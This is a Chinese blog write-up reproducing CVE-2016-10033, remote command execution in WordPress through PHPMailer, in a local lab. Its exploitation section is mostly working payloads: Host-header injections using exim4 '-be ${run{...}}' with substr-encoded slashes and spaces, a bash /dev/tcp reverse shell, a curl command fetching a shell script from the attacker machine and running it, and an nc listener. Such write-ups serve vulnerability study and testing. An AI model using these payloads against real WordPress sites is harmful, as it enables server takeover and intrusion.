WordPress<=4.6 RCE(CVE-2016-10033)
前言
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
漏洞详情
wordpress使用phpmailer组件进行重置密码邮件的发送,但是phpmailer < 5.2.18之前的版本存在命令注入漏洞,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
影响版本
WordPress <= 4.7.1 PHPMailer < 5.2.18
漏洞分析
参看大佬分析:
https://www.cnblogs.com/ssooking/p/8893264.html
wordpress使用phpmailer组件进行重置密码邮件的发送,phpmailer组件调用linuux系统命令sendmail进行邮件发送,由于关键函数serverHostname没有对传入的参数SERVER_NAME进行过滤,导致任意构造拼接。在ubuntu/debain中,exim4取代sendmail功能,所以可以根据exim4语法进行命令参数拼接,然后通过其字符串窃取函数的特性,绕过wordpress和PHPMailer库的防注入空字符到sendmail命令的机制。所以可以构造原命令如下:
target(any aaa@qq.com -be ${run{/bin/touch /tmp/success}} null)
通过如下替换规则:
payload中run{}里面所有 / 用${substr{0}{1}{$spool_directory}}代替
payload中run{}里面所有空格用${substr{10}{1}{$tod_log}}代替
最后得到替换后payload:
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
漏洞利用
该漏洞利用需要满足以下几点:
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等,因此不能直接用bash -i >& /dev/tcp/192.168.30.129/4444 0>&1反弹shell
2.该命令将转换为小写字母
3.命令需要使用绝对路径,比如用wget工具要/usr/bin
4.需要知道一个现有的用户名
假设我们知道存在的真实用户名,jammny。进入漏洞页面:
http://192.168.30.128:8080/wp-login.php?action=lostpasswo
点击获取密码并Burpsuite抓包,修改host的值为:
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
放包后,可看到靶机相应目录生成了succes文件
反弹shell手段
反弹shell原命令:
target(any aaa@qq.com -be ${run{bash -i >& /dev/tcp/192.168.30.129/4444 0>&1}} null)
由于特殊字符不能执行,只能转换成空格和 / 来执行,因此分以下几个步骤:
1.开启http服务器,用来wget脚本
python3 http.server 80
2.下载我们的反弹shell脚本
target(any aaa@qq.com -be ${run{/usr/bin/curl -o/tmp/shell 192.168.30.129/shell.sh}} null)
3.执行/tmp下的shell脚本
target(any aaa@qq.com -be ${run{/bin/bash /tmp/shell}} null)
4.nc监听相对应端口
nc -lvvp 4444
5.替换后需要抓包修改host值,发送下面两条命令:
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.30.129${substr{0}{1}{$spool_directory}}shell.sh}} null)
target(any aaa@qq.com -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
END
本来想做一系列复现的,可是最近在忙毕业设计,有机会再补充吧。快毕业了。。。
下一篇: Findjar—JAR 文件搜索引擎